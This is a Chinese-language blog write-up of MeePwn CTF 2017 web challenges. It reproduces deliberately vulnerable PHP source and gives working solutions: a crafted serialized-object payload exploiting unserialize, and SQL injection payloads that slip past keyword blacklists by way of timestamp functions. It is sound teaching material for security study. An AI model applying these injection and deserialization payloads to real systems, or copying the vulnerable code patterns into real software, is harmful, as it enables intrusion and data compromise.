Chybeta

Meenpwn-2017-web-writeup

考点:反序列化,rand,sql注入

TSULOTT

通过查看源代码,可以发现hint,得到源码,这里只贴重点部分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
<body>
<?php
class Object
{
var $jackpot;
var $enter;
}
?>
<?php
include('secret.php');
if(isset($_GET['input']))
{
$obj = unserialize(base64_decode($_GET['input']));
if($obj)
{
$obj->jackpot = rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99).' '.rand(10,99);
if($obj->enter === $obj->jackpot)
{
echo "<center><strong><font color='white'>CONGRATULATION! You Won JACKPOT PriZe !!! </font></strong></center>". "<br><center><strong><font color='white' size='20'>".$obj->jackpot."</font></strong></center>";
echo "<br><center><strong><font color='green' size='25'>".$flag."</font></strong></center><br>";
echo "<center><img src='http://www.relatably.com/m/img/cross-memes/5378589.jpg' /></center>";
}
else
{
echo "<br><br><center><strong><font color='white'>Wrong! True Six Numbers Are: </font></strong></center>". "<br><center><strong><font color='white' size='25'>".$obj->jackpot."</font></strong></center><br>";
}
}
else
{
echo "<center><strong><font color='white'>- Something wrong, do not hack us please! -</font></strong></center>";
}
}
else
{
echo "";
}
?>
<center>
<br><h2><font color='yellow' size=8>-- TSU</font><font color='red' size=8>LOTT --</font></h2>
<p><p><font color='white'>Input your code to win jackpot!</font><p>
<form>
<input type="text" name="input" /><p><p>
<button type="submit" name="btn-submit" value="go">send</button>
</form>
</center>
<?php
if (isset($_GET['gen_code']) && !empty($_GET['gen_code']))
{
$temp = new Object;
$temp->enter=$_GET['gen_code'];
$code=base64_encode(serialize($temp));
echo '<center><font color=\'white\'>Here is your code, please use it to Lott: <strong>'.$code.'</strong></font></center>';
}
?>
<center>
<font color='white'>-----------------------------------------------------------------------------------------------------------------------------</font>
<h3><font color='white'>Take code</font></h3><p>
<p><font color='white'>Pick your six numbers (Ex: 15 02 94 11 88 76)</font><p>
<form>
<input type="text" name="gen_code" maxlength="17" /><p><p>
<button type="submit" name="btn-submit" value="go">send</button>
</form>
</center>
<?php
if(isset($_GET['is_debug']) && $_GET['is_debug']==='1')
{
show_source(__FILE__);
}
?>
<!-- GET is_debug=1 -->
</body>

看到有unserialize,感觉会考反序列化问题。看到有rand()感觉会考随机数预测问题。看到===,一般不存在弱类型问题。从源码上看,这题需要我们预测留个数字,然后序列化再传入并反序列化,与服务器上随机生成的六个数进行对比,若相同则出flag。这题最后用反序列化的方法解出来了。不过这个反序列化的套路跟以前不太一样。利用下面的php代码:

1
2
3
4
5
6
7
8
9
10
11
<?php
class Object
{
var $jackpot;
var $enter;
}
$chybeta = new Object();
$chybeta->enter=&$obj->jackpot;
$code=base64_encode(serialize($chybeta));
echo $code;

上述代码,将$jackpot的地址赋给$enter,相当于两个指针指到了同一块内存区域,所以不管做什么变化,这两个变量的变化是同步的。

访问:

1
http://128.199.190.23:8001/?input=Tzo2OiJPYmplY3QiOjI6e3M6NzoiamFja3BvdCI7TjtzOjU6ImVudGVyIjtSOjI7fQ%3D%3D&btn-submit=go

FLAG:

1
MeePwnCTF{__OMG!!!__Y0u_Are_Milli0naire_N0ww!!___}

这个思路当时我想到了但没去尝试,因为当时想的是传给enter的jackpot地址是我本机上的地址,跟服务器上的不同,然后就死磕在rand()的预测上。在跟一航大佬讨论后,才知道这个姿势可行。永远不要怀疑自己的脑洞。关于php变量的内存分布之后单独开一篇写。

还有就是对rand()的预测。这个想法不是不无根据,HITCON CTF 2015 Quals Web Giraffe’s Coffee和0CTF 2016 qual rand2都考到过。ph师傅的安全箱子的秘密和Sjoerd Langkemper的Cracking PHP rand()有谈到这个rand()预测的具体技巧和操作。不过我没成功:)

Br0kenMySQL

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<title>Br0kenMySQL</title><h1><pre>
<p style='color:Red'>Br0kenMySQL</p>
<?php
if($_GET['debug']=='🕵') die(highlight_file(__FILE__));
require 'config.php';
$link = mysqli_connect('localhost', MYSQL_USER, MYSQL_PASSWORD);
if (!$link) {
die('Could not connect: ' . mysql_error());
}
if (!mysqli_select_db($link,MYSQL_USER)) {
die('Could not select database: ' . mysql_error());
}
$id = $_GET['id'];
if(preg_match('#sleep|benchmark|floor|rand|count#is',$id))
die('Don\'t hurt me :-(');
$query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
$row = mysqli_fetch_array($query);
$username = $row['username'];
if($username === 'guest'){
$ip = @$_SERVER['HTTP_X_FORWARDED_FOR']!="" ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
if(preg_match('#sleep|benchmark|floor|rand|count#is',$ip))
die('Don\'t hurt me :-(');
var_dump($ip);
if(!empty($ip))
mysqli_query($link,"INSERT INTO logs VALUES('{$ip}')");
$query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
$row = mysqli_fetch_array($query);
$username = $row['username'];
if($username === 'admin'){
echo "What ???????\nLogin as guest&admin at the same time ?\nSeems our code is broken, here is your bounty\n";
die(FLAG);
}
echo "Nothing here";
} else {
echo "Hello ".$username;
}
?>
</h1>
</pre>

从源码来看,逻辑上我们得先让$username值为guest进入if判断后,再让$username的值为admin,从而echo出flag。而且$id处可注入。做法是找到一个随机串,利用case语句在不同情况下随机取值,结合爆破,拿flag。
题目把rand()floor()等过滤了,不能直接生成随机数。可以利用mysql内置的一些函数或变量,比如时间戳。因此有了下面的payload:

1
http://139.59.239.133/?id=(SELECT case MOD(UNIX_TIMESTAMP(),3) when 1 then 2 else 1 end;)

FLAG:

1
MeePwnCTF{_b4by_tr1ck_fixed}

除了用UNIX_TIMESTAMP(),其他一些函数/变量也行,比如:

1
2
3
4
5
6
7
8
9
10
11
12
uuid()
UUID_SHORT() // mysql 5.1后有
CURRENT_TIMESTAMP()
CURRENT_TIMESTAMP
CURTIME()
localtime()
localtime
localtimestamp()
localtimestamp
now()
sysdate()
utc_timestamp()

Br0kenMySQL v2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
Br0kenMySQL
<title>Br0kenMySQL</title><h1><pre>
<p style='color:Red'>Br0kenMySQL</p>
<?php
if($_GET['debug']=='🕵') die(highlight_file(__FILE__));
require '../config.php';
$link = mysqli_connect('localhost', MYSQL_USER, MYSQL_PASSWORD);
if (!$link) {
die('Could not connect: ' . mysql_error());
}
if (!mysqli_select_db($link,MYSQL_USER)) {
die('Could not select database: ' . mysql_error());
}
$id = $_GET['id'];
if(preg_match('#sleep|benchmark|floor|rand|count|select|from|\(|\)#is',$id))
die('Don\'t hurt me :-(');
$query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
$row = mysqli_fetch_array($query);
$username = $row['username'];
if($username === 'guest'){
$ip = @$_SERVER['HTTP_X_FORWARDED_FOR']!="" ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
if(preg_match('#sleep|benchmark|floor|rand|count|select|from|\(|\)#is',$ip))
die('Don\'t hurt me :-(');
var_dump($ip);
if(!empty($ip))
mysqli_query($link,"INSERT INTO logs VALUES('{$ip}')");
$query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
$row = mysqli_fetch_array($query);
$username = $row['username'];
if($username === 'admin'){
echo "What, again ???????!@#$!@#$!@#$\n";
die(FLAG_2);
}
echo "Nothing here";
} else {
echo "Hello ".$username;
}
?>
</h1>
</pre>

相比较于第一题,过滤了select,和括号(),所以需要换其他方法。类似前面,需要找到一个随机的方法,使得id的值在某些情况下为1(admin),为2(guest),并且不需要括号。比如对一个“随机”值,对其进行mod 2,得到的结果是0或1,我们只要再加上1,就能得到对应的1或2。
几种payload:

1
2
3
4
1 + CURRENT_TIMESTAMP%2
1 + localtime%2
1 + localtimestamp%2
1 + utc_timestamp%2

当然在发送的时候要进行url编码,+替换为%2b,%替换为%25

1
MeePwnCTF{_I_g1ve__uPPPPPPPP}

Br0kenMySQL v3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
Br0kenMySQL
<title>Br0kenMySQL</title><h1><pre>
<p style='color:Red'>Br0kenMySQL</p>
<?php
if($_GET['debug']=='🕵') die(highlight_file(__FILE__));
require '../config.php';
$link = mysqli_connect('localhost', MYSQL_USER, MYSQL_PASSWORD);
if (!$link) {
die('Could not connect: ' . mysql_error());
}
if (!mysqli_select_db($link,MYSQL_USER)) {
die('Could not select database: ' . mysql_error());
}
$id = $_GET['id'];
if(preg_match('#sleep|benchmark|floor|rand|count|select|from|\(|\)|time|date|sec|day#is',$id))
die('Don\'t hurt me :-(');
$query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
$row = mysqli_fetch_array($query);
$username = $row['username'];
if($username === 'guest'){
sleep(5); // wait
$ip = @$_SERVER['HTTP_X_FORWARDED_FOR']!="" ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
if(preg_match('#sleep|benchmark|floor|rand|count|select|from|\(|\)|time|date|sec|day#is',$ip))
die('Don\'t hurt me :-(');
var_dump($ip);
if(!empty($ip))
mysqli_query($link,"INSERT INTO logs VALUES('{$ip}')");
$query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
$row = mysqli_fetch_array($query);
$username = $row['username'];
if($username === 'admin'){
echo "What, again ???????!@#$!@#$!@#$\n";
echo "Last one, promise!\n";
die(FLAG_3);
}
echo "Nothing here";
} else {
echo "Hello ".$username;
}
?>
</h1>
</pre>
点击赞赏二维码,您的支持将鼓励我继续创作!
chybeta WeChat Pay

微信打赏

chybeta Alipay

支付宝打赏

本文标题:Meenpwn-2017-web-writeup

文章作者:chybeta

发布时间:2017年07月16日 - 09:07

最后更新:2017年07月28日 - 15:07

原始链接:http://chybeta.github.io/2017/07/16/Meenpwn-2017-web-writeup/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。